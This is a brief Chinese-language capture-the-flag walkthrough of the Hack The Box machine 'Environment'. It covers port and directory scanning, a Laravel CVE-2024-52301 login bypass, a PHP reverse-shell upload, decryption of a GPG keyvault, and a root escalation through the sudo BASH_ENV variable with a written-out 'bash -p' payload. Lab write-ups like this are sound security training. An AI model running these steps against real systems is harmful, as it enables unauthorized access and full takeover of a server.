Environment
第一步用nmap进行扫描
1
| nmap -sV -sC -Pn --min-rate 2000 10.10.11.67 --verbose
|
发现有22,80端口。那就访问一下80端口,发现无法访问,那就添加到/etc/hosts里面。
1
| echo '10.10.11.67\environment.htb' | sudo tee -a /etc/hosts
|
找一找,抓抓包,发现没什么可以利用的,那就扫下其他文件和子域名。
1 2 3 4
| python dirsearch.py -u http://environment.htb/
ffuf -w fuzzDicts/subdomainDicts/main.txt -u http://environment.htb/ -H "Host: FUZZ.environment.htb"
|
域名没扫出来什么,扫出了login登陆界面,还有个upload的界面。
抓一抓login的包看看,发现删掉remeber后可以看到源代码。
f
输入其他值发现,可以看到如下源代码。当PHP环境为preprod的时候,就会以id=1的用户登录。
去找下Laravel 11.30.0有没有CVE能够修改环境的。CVE-2024-52301。
直接请求。
登录成功后可以上传文件,上传个php试试。
直接上传个反弹shell的php,之后访问该php,成功反弹shell。
提权
1 2
| python3 -m 'import pty;pty.spawn("/bin/bash/")'
|
到处看一看,发现对hish的目录有访问的权限。可以先获取user.txt
进入到backup,发现一个keyvault.gpg文件,可能是加密过的文件。
进入.gnupg,目录丢给gpt,回答可能是私钥信息。

那就验证一下,发现查看私钥的时候没有权限,那就复制到别的地方。
之后解密一下看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| ssh hish@10.10.11.67
hish@environment:~$ sudo -l [sudo] password for hish: Matching Defaults entries for hish on environment: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment: (ALL) /usr/bin/systeminfo
cat /usr/bin/systeminfo
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###" dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###" ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###" mount | column -t
echo -e "\n### Checking system resource limits ###" ulimit -a
echo -e "\n### Displaying loaded kernel modules ###" lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###" df -h
echo 'bash -p' > exp.sh chmod +x exp.sh sudo BASH_ENV=./exp.sh /usr/bin/systeminfo
root@environment:~ root
|
又学到了T_T